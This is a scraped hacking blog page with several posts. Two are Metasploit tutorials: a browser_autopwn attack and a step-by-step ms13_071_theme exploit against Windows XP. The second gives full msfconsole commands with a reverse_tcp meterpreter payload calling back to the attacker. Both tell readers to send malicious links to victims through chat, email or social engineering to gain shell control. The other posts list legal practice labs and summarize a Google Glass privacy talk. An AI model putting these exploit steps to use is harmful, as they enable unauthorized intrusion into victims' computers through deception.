<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbzcoSzRv2ObzIjC7bZ-hh6rurjLnRlc6NFdRW1aho1zZkQ7vGTCmGYfXhwqWS6NKv5yXiCVg7ZP0jP5-DYL5op64Q7mO-n8_KLLZ2o6QzzlT_W3EzT7Qv-d2tEHIK7dPGMTl9EQptrKnO/s1600/msfconsole.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msfconsole" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbzcoSzRv2ObzIjC7bZ-hh6rurjLnRlc6NFdRW1aho1zZkQ7vGTCmGYfXhwqWS6NKv5yXiCVg7ZP0jP5-DYL5op64Q7mO-n8_KLLZ2o6QzzlT_W3EzT7Qv-d2tEHIK7dPGMTl9EQptrKnO/s520/msfconsole.png" /></a></div> 
Now follow these steps as show in image 
use the browser_autopwn module 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYdqnkgj6U7hQiB-GmD0PyPYV33iGG1lE9ebC9LOMWwZ8FIDmnh5WqbYhspVXP8B6OfGxo3U8LA44r5qjPrkpOVuHvkDKM5aWA380wbZMc3th45NoA0KI0TYFBI-oXwr0I9J7TwmYsU4DB/s1600/use+auxiliry.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="use browser auto pwn" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYdqnkgj6U7hQiB-GmD0PyPYV33iGG1lE9ebC9LOMWwZ8FIDmnh5WqbYhspVXP8B6OfGxo3U8LA44r5qjPrkpOVuHvkDKM5aWA380wbZMc3th45NoA0KI0TYFBI-oXwr0I9J7TwmYsU4DB/s920/use+auxiliry.png" width="580" /></a></div> 
We have set up the LHOST with our IP address,the port to be 4445 and the URIPATH with / in order to prevent metasploit to set up random URL’s.now you will see below image. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMr-rPzCaHbvyu8wJ_Iv-uA1t25A-pvfJHsv2AvqFStRY5ihEvfKJkWNteXm3WrfJAk2Z6fE2tgCAL_mXGD_wzY7cVHQbj2ZxPNK-hkCpKqoQp_5u1PNtupl1tEvCPLEO33HdV6nolfWKd/s1600/server+started.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="server started with 16 module" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMr-rPzCaHbvyu8wJ_Iv-uA1t25A-pvfJHsv2AvqFStRY5ihEvfKJkWNteXm3WrfJAk2Z6fE2tgCAL_mXGD_wzY7cVHQbj2ZxPNK-hkCpKqoQp_5u1PNtupl1tEvCPLEO33HdV6nolfWKd/s320/server+started.png" /></a></div>Server started with 16 module. 
next we need to send the link to victim (like here http://192.168.205.131:8080/).as soon as the victim open the link its all done. 
we have the meterpreter shell control in out hand you can do various activity you wish with meterpreter shell functionality. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyoIKuudbNSWEo_R72nyn9jfHFUrRDeOPi3O112SaTxra2oV7mSTph3FWoz81p4ZQFB85KbHdtTMO-apCJVrTFaKZVWkjDG_tThozXgs8ld13tSCHwV6hz-J9mvDFHryfwNeyC8Wsemvk1/s1600/hacked.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyoIKuudbNSWEo_R72nyn9jfHFUrRDeOPi3O112SaTxra2oV7mSTph3FWoz81p4ZQFB85KbHdtTMO-apCJVrTFaKZVWkjDG_tThozXgs8ld13tSCHwV6hz-J9mvDFHryfwNeyC8Wsemvk1/s920/hacked.png" /></a></div> 
Enjoy the hack of your victim machine have fun .

Hack Remote Windows 7 | XP PC With Metasploit (Browser Auto Pwn Vulnerability)

Hi all this is one of the popular attack know as browser auto pwn Vulnerability which we are going to use in this tutorial. This is a simpl...

Downloadable Vulnerable Web Application For Practice Hacking Skills

:Part2: 
In part1 of this post i have listed <a href="http://www.darksite.co.in/2014/01/online-sites-for-practice-hacking-skills.html">Online | Live Sites For Practice Web Application Hacking Skills</a> Now here i will give you links for downloading iso/zip file which you can install and enjoy in best possible way. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjL4T9YjlnAEoChIWYLi7c1SyMoAeQ4NcNQy5-M2C0zrgZ_Yos3gKmkOfxBQehu5jlThveQsEiRZ1ClJRFUzaGcbHITlcJx8KryPYZpip4ApR4GusaSVBeOjR0ZCVUKoD69rbLbcS1ieMr0/s1600/offline+hacking.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Hacking practice vulnerable" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjL4T9YjlnAEoChIWYLi7c1SyMoAeQ4NcNQy5-M2C0zrgZ_Yos3gKmkOfxBQehu5jlThveQsEiRZ1ClJRFUzaGcbHITlcJx8KryPYZpip4ApR4GusaSVBeOjR0ZCVUKoD69rbLbcS1ieMr0/s1600/offline+hacking.jpg" /></a></div>with these vulnerable web applications you can test your web hacking knowledge, pen-testing tools, skills, and kung-fu on, with an added bonus... without going to jail :) The vulnerable web applications have been classified in two categories: offline, VMs/ISOs. 
The following list references downloadable vulnerable web applications to play with that can be installed on a standard operating system (Linux, Windows, Mac OS X, etc) using a standard web platform (Apache/PHP, Tomcat/Java, IIS/.NET, etc).i am sure this will sharp your hacking skill,take these as a challenge and i am sure this will be a boost for you. 
<h2>List of offline VM/Isos For Practicing Hacking Skills </h2> 
<li>The BodgeIt Store (Java): <a href="http://code.google.com/p/bodgeit/">http://code.google.com/p/bodgeit/</a> (<a href="http://code.google.com/p/bodgeit/downloads/list">download</a>)</li> 
 
<li>OWASP Bricks (PHP): <a href="http://sechow.com/bricks/index.html">http://sechow.com/bricks/index.html</a> (<a href="http://sechow.com/bricks/download.html">download</a> & <a href="http://sechow.com/bricks/docs/">docs</a>)</li> 
 
<li>The ButterFly Security Project (PHP): <a href="http://sourceforge.net/projects/thebutterflytmp/">http://sourceforge.net/projects/thebutterflytmp/</a> (<a href="http://sourceforge.net/projects/thebutterflytmp/files/">download</a>)</li> 
 
<li>bWAPP - an extremely buggy web application! (PHP): <a href="http://www.itsecgames.com/">http://www.itsecgames.com</a> (<a href="http://sourceforge.net/projects/bwapp/files/">download</a>) (<a href="http://itsecgames.blogspot.be/2013/01/bwapp-installation.html">docs</a>)</li> 
 
<li>Damn Vulnerable Web Application - DVWA (PHP): <a href="http://www.dvwa.co.uk/">http://www.dvwa.co.uk</a> (<a href="http://code.google.com/p/dvwa/downloads/list">download</a>) </li> 
 
<li>Damn Vulnerable Web Services - DVWS (PHP): <a href="http://dvws.secureideas.net/">http://dvws.secureideas.net</a> (<a href="http://dvws.secureideas.net/downloads/files/dvws.tgz">download</a>)</li> 
 
<li>OWASP Hackademic Challenges Project (PHP): <a href="https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project">https://www.owasp.org/index.php/OWASP_Hackademic_Challenges_Project</a> (<a href="https://code.google.com/p/owasp-hackademic-challenges/">download</a>)</li> 
 
<li>Google Gruyere (Python): <a href="http://google-gruyere.appspot.com/">http://google-gruyere.appspot.com</a> (<a href="http://google-gruyere.appspot.com/gruyere-code.zip">download</a>)</li> 
 
<li>Hacme Bank (.NET): <a href="http://www.mcafee.com/us/downloads/free-tools/hacme-bank.aspx">http://www.mcafee.com/us/downloads/free-tools/hacme-bank.aspx</a> (<a href="http://www.mcafee.com/apps/free-tools/termsofuse.aspx?url=/us/downloads/free-tools/hacme-bank.aspx">download</a>)</li> 
 
<li>Hacme Books (Java): <a href="http://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx">http://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx</a> (<a href="http://www.mcafee.com/apps/free-tools/termsofuse.aspx?url=/us/downloads/free-tools/hacmebooks.aspx">download</a>)</li> 
 
<li>Hacme Casino (Ruby on Rails): <a href="http://www.mcafee.com/us/downloads/free-tools/hacme-casino.aspx">http://www.mcafee.com/us/downloads/free-tools/hacme-casino.aspx</a> (<a href="http://www.mcafee.com/apps/free-tools/termsofuse.aspx?url=/us/downloads/free-tools/hacme-casino.aspx">download</a>)</li> 
 
<li>Hacme Shipping (ColdFusion): <a href="http://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx">http://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx</a> (<a href="http://www.mcafee.com/apps/free-tools/termsofuse.aspx?url=/us/downloads/free-tools/hacmeshipping.aspx">download</a>)</li> 
 
<li>Hacme Travel (C++): <a href="http://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx">http://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx</a> (<a href="http://www.mcafee.com/apps/free-tools/termsofuse.aspx?url=/us/downloads/free-tools/hacmetravel.aspx">download</a>)</li> 
 
<li>OWASP Insecure Web App Project (Java): <a href="https://www.owasp.org/index.php/Category:OWASP_Insecure_Web_App_Project">https://www.owasp.org/index.php/Category:OWASP_Insecure_Web_App_Project</a> (<a href="http://sourceforge.net/projects/insecurewebapp/files/">download</a> - orphaned)</li> 
 
<li>Mutillidae (PHP): <a href="http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10">http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10</a> (<a href="http://www.irongeek.com/mutillidae/">download</a>)</li> 
 
<li>OWASP .NET Goat (C#): <a href="https://owasp.codeplex.com/">https://owasp.codeplex.com</a> (<a href="https://owasp.codeplex.com/SourceControl/list/changesets#">download</a>)</li> 
 
<li>Peruggia (PHP): <a href="http://peruggia.sourceforge.net/">http://peruggia.sourceforge.net</a> (<a href="http://sourceforge.net/projects/peruggia/files/">download</a>)</li> 
 
<li>Puzzlemall (Java): <a href="https://code.google.com/p/puzzlemall/">https://code.google.com/p/puzzlemall/</a> (<a href="https://code.google.com/p/puzzlemall/downloads/list">download</a>) (<a href="https://code.google.com/p/puzzlemall/downloads/list">docs</a>)</li> 
 
<li>Stanford Securibench (Java) & <a href="http://suif.stanford.edu/~livshits/work/securibench-micro/">Micro</a>: <a href="http://suif.stanford.edu/~livshits/securibench/">http://suif.stanford.edu/~livshits/securibench/</a> (<a href="http://suif.stanford.edu/~livshits/securibench/download.html">download</a>)</li> 
 
<li>SQLI-labs (PHP): <a href="https://github.com/Audi-1/sqli-labs">https://github.com/Audi-1/sqli-labs</a> (<a href="https://github.com/Audi-1/sqli-labs/archive/master.zip">download</a>) (<a href="http://dummy2dummies.blogspot.com/">blog</a>)</li> 
 
<li>SQLol (PHP): <a href="https://github.com/SpiderLabs/SQLol">https://github.com/SpiderLabs/SQLol</a> (<a href="https://github.com/SpiderLabs/SQLol/archive/master.zip">download</a>)</li> 
 
<li>OWASP Vicnum Project (Perl & PHP): <a href="https://www.owasp.org/index.php/Category:OWASP_Vicnum_Project">https://www.owasp.org/index.php/Category:OWASP_Vicnum_Project</a> (<a href="http://sourceforge.net/projects/vicnum/files/">download</a>)</li> 
 
<li>VulnApp (.NET): <a href="http://www.nth-dimension.org.uk/blog.php?id=88">http://www.nth-dimension.org.uk/blog.php?id=88</a> (<a href="http://projects.nth-dimension.org.uk/dir?d=VulnApp">CVS download</a> & <a href="http://projects.nth-dimension.org.uk/rptview?rn=6">vulns</a>)</li> 
 
<li>WackoPicko (PHP): <a href="https://github.com/adamdoupe/WackoPicko">https://github.com/adamdoupe/WackoPicko</a> (<a href="https://github.com/adamdoupe/WackoPicko/zipball/master">download</a>) (<a href="http://cs.ucsb.edu/~adoupe/static/black-box-scanners-dimva2010.pdf">whitepaper</a>)</li> 
 
<li>OWASP WebGoat (Java): <a href="https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project">https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project</a> (<a href="http://code.google.com/p/webgoat/downloads/list">download</a>) (<a href="https://www.owasp.org/index.php/WebGoat_User_and_Install_Guide_Table_of_Contents">guide</a>)</li> 
 
<li>OWASP ZAP WAVE - Web Application Vulnerability Examples (Java): <a href="http://code.google.com/p/zaproxy/downloads/list">http://code.google.com/p/zaproxy/downloads/list</a></li> 
 
<li>Wavsep - Web Application Vulnerability Scanner Evaluation Project (Java): <a href="https://code.google.com/p/wavsep/">https://code.google.com/p/wavsep/</a> (<a href="https://code.google.com/p/wavsep/downloads/list">download</a>) (<a href="https://code.google.com/p/wavsep/downloads/list">docs</a>)</li> 
 
<li>WIVET - Web Input Vector Extractor Teaser: <a href="https://code.google.com/p/wivet/">https://code.google.com/p/wivet/</a> (<a href="http://www.webguvenligi.org/projeler/wivet">download</a>) (<a href="https://code.google.com/p/wivet/downloads/list?can=1&q=">tests</a>)</li> 
 
<h2>Virtual Machines (VMs) or ISO images</h2> 
The following list references pre-installed and ready to use virtual machines (VMs) or ISO images that contain one or multiple vulnerable web applications to play with. 
<li>BadStore (ISO): <a href="http://www.badstore.net/">http://www.badstore.net</a> (<a href="http://www.badstore.net/register.htm">download</a> - registration required)</li> 
 
<li>Bee-Box (bWAPP VMware): <a href="http://sourceforge.net/projects/bwapp/files/bee-box/">http://sourceforge.net/projects/bwapp/files/bee-box/</a></li> 
 
<li>OWASP BWA - Broken Web Applications Project (VMware - <a href="http://code.google.com/p/owaspbwa/wiki/ProjectSummary">list</a>): <a href="https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project">https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project</a> (<a href="http://code.google.com/p/owaspbwa/wiki/Downloads">download</a>)</li> 
 
<li>Drunk Admin Web Hacking Challenge (VMware): <a href="https://bechtsoudis.com/work-stuff/challenges/drunk-admin-web-hacking-challenge/">https://bechtsoudis.com/work-stuff/challenges/drunk-admin-web-hacking-challenge/</a> (<a href="http://bechtsoudis.com/data/challenges/drunk_admin_hacking_challenge.zip">download</a>) </li> 
 
<li>Exploit.co.il Vuln Web App (VMware): <a href="http://exploit.co.il/projects/vuln-web-app/">http://exploit.co.il/projects/vuln-web-app/</a> (<a href="http://sourceforge.net/projects/exploitcoilvuln/files/">download</a>)</li> 
 
<li>GameOver (VMware): <a href="http://sourceforge.net/projects/null-gameover/">http://sourceforge.net/projects/null-gameover/</a> (<a href="http://sourceforge.net/projects/null-gameover/files/">download</a>)</li> 
 
<li>Hackxor (VMware): <a href="http://hackxor.sourceforge.net/cgi-bin/index.pl">http://hackxor.sourceforge.net/cgi-bin/index.pl</a> (<a href="http://sourceforge.net/projects/hackxor/files/">download</a>) (<a href="http://hackxor.sourceforge.net/cgi-bin/hints.pl">hints&tips</a>)</li> 
 
<li>Hacme Bank Prebuilt VM (VMware): <a href="http://ninja-sec.com/index.php/hacme-bank-prebuilt-vmware-image-ninja-sec-com/">http://ninja-sec.com/index.php/hacme-bank-prebuilt-vmware-image-ninja-sec-com/</a> (<a href="http://dc121.4shared.com/download/wwPhUxMQ/hackme_bank_vm_Ninja-Sec.zip">download</a>)</li> 
 
<li>Kioptrix4 (VMware & Hyper-V): <a href="http://www.kioptrix.com/blog/?p=604">http://www.kioptrix.com/blog/?p=604</a> (<a href="http://www.kioptrix.com/dlvm/Kioptrix4_vmware.rar">download</a>) </li> 
 
<li>LAMPSecurity (VMware): <a href="http://sourceforge.net/projects/lampsecurity/">http://sourceforge.net/projects/lampsecurity/</a> (<a href="http://sourceforge.net/projects/lampsecurity/files/">download</a>) (<a href="http://sourceforge.net/projects/lampsecurity/files/Documentation/">doc</a>)</li> 
 
<li>Metasploitable (VMware): <a href="http://blog.metasploit.com/2010/05/introducing-metasploitable.html">http://blog.metasploit.com/2010/05/introducing-metasploitable.html</a> (<a href="http://updates.metasploit.com/data/Metasploitable.zip.torrent">download</a> - torrent) (<a href="http://www.metasploit.com/learn-more/how-do-i-use-it/test-lab.jsp">doc</a>)</li> 
 
<li>Metasploitable 2 (VMware):  
<a href="https://community.rapid7.com/docs/DOC-1875">https://community.rapid7.com/docs/DOC-1875</a> (<a href="https://sourceforge.net/projects/metasploitable/files/Metasploitable2/">download</a>)</li> 
 
<li>Moth (VMware): <a href="http://www.bonsai-sec.com/en/research/moth.php">http://www.bonsai-sec.com/en/research/moth.php</a> (<a href="http://sourceforge.net/projects/w3af/files/moth/moth/">download</a>)</li> 
 
<li>PentesterLab - The Exercises (ISO & PDF): <a href="https://www.pentesterlab.com/exercises/">https://www.pentesterlab.com/exercises/</a> </li> 
 
<li>PHDays I-Bank (VMware):  
<a href="http://phdays.blogspot.com.es/2012/05/once-again-about-remote-banking.html">http://phdays.blogspot.com.es/2012/05/once-again-about-remote-banking.html</a> (<a href="http://downloads.phdays.com/phdays_ibank_vm.zip">download</a>)</li> 
 
<li>Samurai WTF (ISO - list): <a href="http://www.samurai-wtf.org/">http://www.samurai-wtf.org</a> (<a href="http://sourceforge.net/projects/samurai/files/">download</a>)</li> 
 
<li>Sauron (Quemu) [Spanish]: <a href="http://sg6-labs.blogspot.com/2007/12/secgame-1-sauron.html">http://sg6-labs.blogspot.com/2007/12/secgame-1-sauron.html</a> (<a href="http://sg6-labs.blogspot.com/search/label/SecGame">solutions</a>)</li> 
 
<li>UltimateLAMP (VMware - <a href="http://www.metasploit.com/learn-more/how-do-i-use-it/test-lab.jsp">list</a>): <a href="http://ronaldbradford.com/blog/ultimatelamp-2006-05-19/">http://ronaldbradford.com/blog/ultimatelamp-2006-05-19/</a> (<a href="http://ronaldbradford.com/tmp/UltimateLAMP-0.2.zip">download</a>)</li> 
 
<li>Virtual Hacking Lab (ZIP): <a href="http://sourceforge.net/projects/virtualhacking/">http://sourceforge.net/projects/virtualhacking/</a> (<a href="http://sourceforge.net/projects/virtualhacking/files/">download</a>)</li> 
 
<li>Web Security Dojo (VMware, VirtualBox - <a href="http://www.mavensecurity.com/web_security_dojo/">list</a>): <a href="http://www.mavensecurity.com/web_security_dojo/">http://www.mavensecurity.com/web_security_dojo/</a> (<a href="http://sourceforge.net/projects/websecuritydojo/files/">download</a>)</li> 
 
You can have a lots of fun time with these so why to waste time download and gets started now .Happy hacking :)

Downloadable Vulnerable Web Application For Practice Hacking Skills

: Part2 : In part1 of this post i have listed Online | Live Sites For Practice Web Application Hacking Skills Now here i will give you lin...

Online | Live Sites For Practice Web Application Hacking Skills

:Part1: 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTFcFaz6_UQ1YUhXR_QYwxHxwxbpU0WTY-33AsEjjGMdAwKrY74wKTXVSfdHJKQAUFpw7kCVbH672CnAKhXPz2UT6yP5zW3HfoMfnChR_GKEU1OvmnjfXTxlMWHXwYb5QBzEDyEtJD_qu0/s1600/hacker.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="online live site to practice hacking skills" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTFcFaz6_UQ1YUhXR_QYwxHxwxbpU0WTY-33AsEjjGMdAwKrY74wKTXVSfdHJKQAUFpw7kCVbH672CnAKhXPz2UT6yP5zW3HfoMfnChR_GKEU1OvmnjfXTxlMWHXwYb5QBzEDyEtJD_qu0/s1600/hacker.jpg" /></a></div>Here are the list of website that beginners always look for in order furnish their skills,many at various place i encounter where students/new excited security learner ask me "is there any site available to practice all this hacking skills legally?" . 
 
So here are list of online where you can test your practice its complete safe . next post i will share how you can mount own server on vmware and practice locally from own computer. 
 
These are few online and live vulnerable web applications available on the Internet to play with. 
 
Acunetix: 
<a href="http://testasp.vulnweb.com">http://testasp.vulnweb.com</a> (Forum - ASP) 
<a href="http://testaspnet.vulnweb.com">http://testaspnet.vulnweb.com</a> (Blog - .NET) 
<a href="http://testphp.vulnweb.com">http://testphp.vulnweb.com</a> (Art shopping - PHP) 
Cenzic CrackMeBank: <a href="http://crackme.cenzic.com">http://crackme.cenzic.com</a> 
Google Gruyere (Python): <a href="http://google-gruyere.appspot.com/start">http://google-gruyere.appspot.com/start</a> 
Hacking-Lab (eg. OWASP Top 10): <a href="https://www.hacking-lab.com/events/registerform.html?eventid=245">https://www.hacking-lab.com/events/registerform.html?eventid=245</a> 
Hack.me (beta): <a href="https://hack.me">https://hack.me</a> 
HackThisSite (HTS - Basic & Realistic (web) Missions): <a href="http://www.hackthissite.org">http://www.hackthissite.org</a> 
Hackxor online demo: <a href="http://hackxor.sourceforge.net/cgi-bin/login.pl">http://hackxor.sourceforge.net/cgi-bin/login.pl</a> (algo/smurf) 
HP/SpiDynamics Free Bank Online: <a href="http://zero.webappsecurity.com">http://zero.webappsecurity.com</a> (admin/admin) 
IBM/Watchfire AltoroMutual: <a href="http://demo.testfire.net">http://demo.testfire.net</a> (jsmith/Demo1234) 
NTOSpider Web Scanner Test Site: <a href="http://www.webscantest.com">http://www.webscantest.com</a> (testuser/testpass) 
OWASP Hackademic Challenges Project - Live (PHP - Joomla): <a href="http://hackademic1.teilar.gr">http://hackademic1.teilar.gr</a> 
Pentester Academy: <a href="http://pentesteracademylab.appspot.com">http://pentesteracademylab.appspot.com</a>(One of my fav) 
 
Enjoy all these different web vulnerable environments and sharp your web app pen-testing skills and tools practicing with them. 
On Next part i will post the list downloadable file which you can use for boost your hacking skills

Online | Live Sites For Practice Web Application Hacking Skills

: Part1 : Here are the list of website that beginners always look for in order furnish their skills,many at various place i encounter where...

Hack Windows XP PC (Theme Arbitrary Code Execution) with Kali linux

Happy Republic Day to all Indians Proud of being Indian jai Hind!!! 
 
So today we will look how an attacker can hack into windows xp system using a Arbitrary code execution vulnerability.We are going to use metasploit that is present on kali Linux or you can do the same with backtrack also. Technical description of the vulnerability is there exist a vulnerability on Microsoft Windows XP and Windows 2003 Operating system on handling of the Screen Saver path, in the [boot] section. An arbitrary path can be used as screen saver, including a remote SMB resource, which allows for remote code execution when a malicious .theme file is opened, and the “Screen Saver” tab is viewed. 
 
Lets carryout the attack Practically here i have used victim machine to windows sp3 and attack to be kali Linux. 
so follow it step by step 
<li>open terminal in kali Linux and type msfconsole. 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1gvYU4M0mT-cjWwJvScSaOlSqhhE52TkHKVD9RbgoW8XGQi3nSpwZIiOqE1ojt4i7ROuSAzuiUZI2KlynQapYmODLVapkTERoyWt2kjPM8jBrDCqKQ7DyseUFevlDg9mY56nv92NSMobA/s1600/msfconsole.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msfconsole on kali" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1gvYU4M0mT-cjWwJvScSaOlSqhhE52TkHKVD9RbgoW8XGQi3nSpwZIiOqE1ojt4i7ROuSAzuiUZI2KlynQapYmODLVapkTERoyWt2kjPM8jBrDCqKQ7DyseUFevlDg9mY56nv92NSMobA/s720/msfconsole.png" width="580" /></a></div> 
<li>Now type down following commands one by one 
 
<li>use exploit/windows/fileformat/ms13_071_theme 
 
<li>msf exploit (ms13_071_theme)>set payload windows/meterpreter/reverse_tcp 
 
<li>msf exploit (ms13_071_theme)>set lhost 192.168.223.133 
(IP of your Kali machine to know type ifconfig on new terminal) 
<li>msf exploit (ms13_071_theme)>set srvhost 192.168.223.133 
 
<li>msf exploit (ms13_071_theme)>exploit 
 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWB_v2j6EAa7GF57pWqnEU6ejKMmpBRx7T71Ei3op4oeWCG3hjoJn68bByMRMWhtCJtH0bptigNjeQw4rojMhFFySaOkxLSk-Iu5MqzLYNGntB6wqjISyAvRTxys4aUzoQ_KL87NrwZdVl/s1600/exploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Exploit to hack windows xp system" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWB_v2j6EAa7GF57pWqnEU6ejKMmpBRx7T71Ei3op4oeWCG3hjoJn68bByMRMWhtCJtH0bptigNjeQw4rojMhFFySaOkxLSk-Iu5MqzLYNGntB6wqjISyAvRTxys4aUzoQ_KL87NrwZdVl/s720/exploit.png" width="580" /></a></div> 
once all this done you need to give to your victim \\192.168.1.3:gCzJXDKtJugDsVFC.scr via chat or email or any social engineering technique you can use.once the victim open the url provided by you he will asked for confirmation of opening link . 
as soon as victim click run you will have your meterpreter shell open . 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTU8eAEog_MgIFMHxgCZaiNufAc5nvacQrTNXRFf66HL5ovXfgkilCq6Yp_fvrSOo81trApANBY2C-4N_0MkKD4S8IJcnrmBCX3KmlLG74LJ9it4V6U1GL9t8Fx08CkOk1uGL-k7YV3E46/s1600/send+link.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Confirmation for un" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTU8eAEog_MgIFMHxgCZaiNufAc5nvacQrTNXRFf66HL5ovXfgkilCq6Yp_fvrSOo81trApANBY2C-4N_0MkKD4S8IJcnrmBCX3KmlLG74LJ9it4V6U1GL9t8Fx08CkOk1uGL-k7YV3E46/s420/send+link.png" /></a></div>Now you have access to the victims PC. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp2kqsL6AsieXX3FoYdiiF5K_G7x-7lhPEyDW1VQvkXXmIessjhDvYWGBbzQRmEMRnnbK6BnAEjcIYqoXAWsj_Y2rum9Hz5YUSAn8hZIhCHP8QR2C9fqlpRl8h_dNbEyKkOSfonJlIq-nq/s1600/hacked.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Hacked into Windows XP system" height="500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp2kqsL6AsieXX3FoYdiiF5K_G7x-7lhPEyDW1VQvkXXmIessjhDvYWGBbzQRmEMRnnbK6BnAEjcIYqoXAWsj_Y2rum9Hz5YUSAn8hZIhCHP8QR2C9fqlpRl8h_dNbEyKkOSfonJlIq-nq/s820/hacked.png" width="600" /></a></div>Enjoy Hacking Be safe and keep learning .

Hack Windows XP PC (Theme Arbitrary Code Execution) with Kali linux

Happy Republic Day to all Indians Proud of being Indian jai Hind!!! So today we will look how an attacker can hack into windows xp system ...

Google Glass Hacks:Fun and Frightening use Presentation

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKP-tlMYCefkEZLyBV08MaEXysMeyE9Vq8qUoOWZZaSzPR25tdrXuzOjVtjCTAmmJ7dOfxpxq-6F8-D8nGYAcyHtl9mE1eqpGT4WGVz3gB4zOnaAiYgNQyQFX1D_2YrZsnICZo83gbr3Ct/s1600/googleglass.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Google Glass Hacks" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKP-tlMYCefkEZLyBV08MaEXysMeyE9Vq8qUoOWZZaSzPR25tdrXuzOjVtjCTAmmJ7dOfxpxq-6F8-D8nGYAcyHtl9mE1eqpGT4WGVz3gB4zOnaAiYgNQyQFX1D_2YrZsnICZo83gbr3Ct/s1600/googleglass.jpeg" /></a></div>Here is a nice video presented on Google glass hack this technical lecture covers lots of things from machine learning and AI to hardware design and manufacture. Includes demonstrations of applications enabled by an always-on image capturing wearable computer. You'll leave with a clear understanding of the field's status quo, how we got here, and insight into what's around the corner. 
Always-on camera enabled wearable computers, like Google Glass and Lambda Hat, enable a variety of slightly creepy, but undeniably useful applications. For the past few months, I've worn a computing device that takes pictures every few seconds. I run facial detection over the image stream, pulling out every face I have seen. Soon, we'll be able to conduct mass facial recognition using this data. Other applications include detecting license plates and automatically uploading them to a public GPS tagged website. This talk will cover the history, state of the art, and future of wearable computing, machine learning, and the privacy implication of this technology. 
 
Video 
====== 
<iframe width="560" height="315" src="//www.youtube.com/embed/PnXGb7RHXWQ" frameborder="0" allowfullscreen></iframe> 
<a href="https://events.ccc.de/congress/2013/wiki/Main_Page">Source</a> 
It do deserve a share with those many useful information and great presentation everyone geek should whatch

Google Glass Hacks:Fun and Frightening use Presentation

Here is a nice video presented on Google glass hack this technical lecture covers lots of things from machine learning and AI to hardware de...